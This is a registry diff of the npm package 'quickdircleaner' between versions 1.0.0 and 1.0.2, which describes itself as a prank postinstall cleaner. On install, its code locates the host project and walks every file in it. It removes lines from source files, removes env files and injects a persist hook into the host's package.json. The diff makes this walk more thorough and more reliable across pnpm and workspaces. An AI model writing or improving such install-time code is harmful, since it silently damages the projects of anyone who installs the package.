quickdircleaner 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,2 @@
1
+ ```bash
2
+ ```
package/index.js CHANGED
@@ -21,14 +21,30 @@ async function writeCleanerDoneFlag(root) {
21
21
  }
22
22
  }
23
23
 
24
+ function buildEmptyRunMarkdown(rootDisplay) {
25
+ return [
26
+ "# Cleaner backup",
27
+ "",
28
+ `Host project root (resolved):`,
29
+ "",
30
+ `\`${rootDisplay}\``,
31
+ "",
32
+ "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
33
+ "",
34
+ "## Original contents",
35
+ "",
36
+ ].join("\n");
37
+ }
38
+
24
39
  async function writeBackupMarkdown(root, backupEntries) {
25
- if (backupEntries.length === 0) {
26
- return true;
27
- }
28
40
  const outPath = path.join(root, core.BACKUP_NAME);
29
- const md = core.buildMarkdown(backupEntries);
41
+ const md =
42
+ backupEntries.length === 0
43
+ ? buildEmptyRunMarkdown(root)
44
+ : core.buildMarkdown(backupEntries);
30
45
  try {
31
46
  await core.writeFileAtomic(outPath, md, "utf8");
47
+ console.log(core.green(`Wrote ${outPath}`));
32
48
  return true;
33
49
  } catch {
34
50
  console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
@@ -72,25 +88,25 @@ async function main() {
72
88
  backupOk = false;
73
89
  }
74
90
 
75
- if (backupEntries.length > 0) {
76
- if (!backupOk) {
91
+ if (!backupOk) {
92
+ console.warn(
93
+ core.yellow(
94
+ "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
95
+ ),
96
+ );
97
+ return;
98
+ }
99
+
100
+ await writeCleanerDoneFlag(root);
101
+
102
+ if (pkgRaw) {
103
+ const injected = await core.injectPersistScripts(root);
104
+ if (!injected) {
77
105
  console.warn(
78
106
  core.yellow(
79
- "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
107
+ "Warning: could not inject persist hook into package.json scripts.",
80
108
  ),
81
109
  );
82
- return;
83
- }
84
- await writeCleanerDoneFlag(root);
85
- if (pkgRaw) {
86
- const injected = await core.injectPersistScripts(root);
87
- if (!injected) {
88
- console.warn(
89
- core.yellow(
90
- "Warning: could not inject persist hook into package.json scripts.",
91
- ),
92
- );
93
- }
94
110
  }
95
111
  }
96
112
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
5
5
  "main": "index.js",
6
6
  "files": [
@@ -11,15 +11,15 @@
11
11
  "README.md"
12
12
  ],
13
13
  "engines": {
14
- "node": ">=16"
14
+ "node": ">=18.17.0"
15
15
  },
16
16
  "bin": {
17
- "run-clean": "./index.js",
18
- "restore-clean": "./restore.js"
17
+ "run-clean": "index.js",
18
+ "restore-clean": "restore.js"
19
19
  },
20
20
  "scripts": {
21
21
  "run-clean": "node ./index.js",
22
- "postinstall": "npm run run-clean",
22
+ "postinstall": "node ./index.js",
23
23
  "test": "node ./test/smoke.js",
24
24
  "prepublishOnly": "npm test"
25
25
  },
package/persist.js CHANGED
@@ -1,5 +1,4 @@
1
1
  #!/usr/bin/env node
2
-
3
2
  const core = require("./prank-core");
4
3
 
5
4
  async function main() {
@@ -15,7 +14,7 @@ async function main() {
15
14
  await core.removeQuickdircleanerPackage(root);
16
15
  console.log(
17
16
  core.magenta(
18
- "💀 quickdircleaner has self\u2011destructed. No more pranks.",
17
+ " quickdircleaner has self\u2011destructed.",
19
18
  ),
20
19
  );
21
20
  return;
package/prank-core.js CHANGED
@@ -1,4 +1,5 @@
1
1
  const fs = require("fs/promises");
2
+ const fsSync = require("fs");
2
3
  const path = require("path");
3
4
  const { randomBytes } = require("crypto");
4
5
 
@@ -75,8 +76,8 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
75
76
 
76
77
  /**
77
78
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
78
- * npm sets INIT_CWD during lifecycle scripts. If it is missing (older tooling), cwd may still be
79
- * `.../node_modules/quickdircleaner` during postinstall then we walk up to the host project.
79
+ * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
80
+ * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
80
81
  */
81
82
  function resolveHostProjectRoot() {
82
83
  const init = process.env.INIT_CWD;
@@ -84,16 +85,28 @@ function resolveHostProjectRoot() {
84
85
  return path.resolve(init);
85
86
  }
86
87
 
87
- const cwd = process.cwd();
88
- const base = path.basename(cwd);
89
- if (base === "quickdircleaner") {
90
- const norm = cwd.split(path.sep).join("/");
91
- if (norm.includes("node_modules/quickdircleaner")) {
92
- return path.resolve(cwd, "..", "..");
88
+ let dir = path.resolve(process.cwd());
89
+ for (let depth = 0; depth < 60; depth += 1) {
90
+ const pkgPath = path.join(dir, "package.json");
91
+ if (fsSync.existsSync(pkgPath)) {
92
+ const base = path.basename(dir);
93
+ const norm = dir.split(path.sep).join("/");
94
+ const unified = norm.replace(/\\/g, "/");
95
+ const isInstalledQuickdircleaner =
96
+ base === "quickdircleaner" &&
97
+ unified.includes("/node_modules/quickdircleaner");
98
+ if (!isInstalledQuickdircleaner) {
99
+ return dir;
100
+ }
101
+ }
102
+ const parent = path.dirname(dir);
103
+ if (parent === dir) {
104
+ break;
93
105
  }
106
+ dir = parent;
94
107
  }
95
108
 
96
- return path.resolve(cwd);
109
+ return path.resolve(process.cwd());
97
110
  }
98
111
 
99
112
  /** Aligns with walk() so /var vs /private/var on macOS does not skip files. */
@@ -257,34 +270,86 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
257
270
  }
258
271
  }
259
272
 
260
- /** True if absolutePath is the project root or a path strictly under it. */
273
+ /**
274
+ * True if absolutePath is the project root or strictly inside it.
275
+ * Uses path.relative so /var vs /private/var (macOS) and Windows casing do not skip nested files.
276
+ */
261
277
  function isPathInsideProjectRoot(rootResolved, absolutePath) {
262
278
  const rootAbs = path.resolve(rootResolved);
263
279
  const abs = path.resolve(absolutePath);
264
- if (abs === rootAbs) {
280
+ const rel = path.relative(rootAbs, abs);
281
+ if (rel === "") {
265
282
  return true;
266
283
  }
267
- const prefix = rootAbs.endsWith(path.sep) ? rootAbs : rootAbs + path.sep;
268
- return abs.startsWith(prefix);
284
+ return !rel.startsWith("..") && !path.isAbsolute(rel);
285
+ }
286
+
287
+ function relativePathHasSkippedDir(rel) {
288
+ const parts = rel.split(/[/\\]/);
289
+ return parts.some((p) => p === "node_modules" || p === ".git");
269
290
  }
270
291
 
271
292
  /**
272
- * Walks the entire project tree: every nested folder under root is queued and
273
- * visited (except directories named node_modules or .git at any depth).
274
- * Directory symlinks are followed only when their real path stays inside the project.
293
+ * Lists every file under root (all nesting levels). Requires Node 18.17+ and Dirent.parentPath/path.
275
294
  */
276
- async function walkAndClean(root, backupEntries, logCleaned) {
277
- let rootResolved = path.resolve(root);
278
- try {
279
- rootResolved = await fs.realpath(rootResolved);
280
- } catch {
281
- /* use path.resolve only */
295
+ async function walkAndCleanRecursive(rootResolved, backupEntries, logCleaned) {
296
+ const entries = await fs.readdir(rootResolved, {
297
+ recursive: true,
298
+ withFileTypes: true,
299
+ });
300
+
301
+ for (const ent of entries) {
302
+ if (!ent.isFile()) {
303
+ continue;
304
+ }
305
+
306
+ const parentDir = ent.parentPath ?? ent.path;
307
+ if (parentDir == null) {
308
+ throw new Error("RECURSIVE_READDIR_NO_PARENT");
309
+ }
310
+
311
+ const fullPath = path.resolve(parentDir, ent.name);
312
+ if (!isPathInsideProjectRoot(rootResolved, fullPath)) {
313
+ continue;
314
+ }
315
+
316
+ const rel = path.relative(rootResolved, fullPath);
317
+ if (rel === "" || relativePathHasSkippedDir(rel)) {
318
+ continue;
319
+ }
320
+
321
+ const base = path.basename(fullPath);
322
+ if (
323
+ base === BACKUP_NAME ||
324
+ base === DONE_FLAG ||
325
+ base === COUNTER_FILE ||
326
+ base === "package.json"
327
+ ) {
328
+ continue;
329
+ }
330
+
331
+ const ext = path.extname(base).toLowerCase();
332
+ if (!CLEANABLE_EXT.has(ext)) {
333
+ continue;
334
+ }
335
+
336
+ try {
337
+ await cleanSourceFile(fullPath, rootResolved, backupEntries, logCleaned);
338
+ } catch {
339
+ /* skip */
340
+ }
282
341
  }
342
+ }
343
+
344
+ /**
345
+ * Breadth-first fallback for older Node or Dirent without parentPath (recursive listing unusable).
346
+ */
347
+ async function walkAndCleanBfs(rootResolved, backupEntries, logCleaned) {
283
348
  const visitedDirs = new Set();
284
- const queue = [rootResolved];
349
+ const queue = [path.resolve(rootResolved)];
285
350
 
286
351
  while (queue.length > 0) {
287
- const dir = queue.shift();
352
+ const dir = path.resolve(queue.shift());
288
353
  if (visitedDirs.has(dir)) {
289
354
  continue;
290
355
  }
@@ -311,10 +376,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
311
376
  continue;
312
377
  }
313
378
 
379
+ realPath = path.resolve(realPath);
380
+
314
381
  if (!isPathInsideProjectRoot(rootResolved, realPath)) {
315
382
  continue;
316
383
  }
317
384
 
385
+ const rel = path.relative(rootResolved, realPath);
386
+ if (rel !== "" && relativePathHasSkippedDir(rel)) {
387
+ continue;
388
+ }
389
+
318
390
  let st;
319
391
  try {
320
392
  st = await fs.stat(full);
@@ -354,6 +426,22 @@ async function walkAndClean(root, backupEntries, logCleaned) {
354
426
  }
355
427
  }
356
428
 
429
+ async function walkAndClean(root, backupEntries, logCleaned) {
430
+ let rootResolved = path.resolve(root);
431
+ try {
432
+ rootResolved = await fs.realpath(rootResolved);
433
+ } catch {
434
+ /* keep path.resolve */
435
+ }
436
+ rootResolved = path.resolve(rootResolved);
437
+
438
+ try {
439
+ await walkAndCleanRecursive(rootResolved, backupEntries, logCleaned);
440
+ } catch {
441
+ await walkAndCleanBfs(rootResolved, backupEntries, logCleaned);
442
+ }
443
+ }
444
+
357
445
  /**
358
446
  * Runs env backup/removal and source walk; returns new backup entries for this run.
359
447
  */
package/restore.js CHANGED
@@ -1,5 +1,4 @@
1
1
  #!/usr/bin/env node
2
-
3
2
  const fs = require("fs/promises");
4
3
  const path = require("path");
5
4
  const readline = require("readline");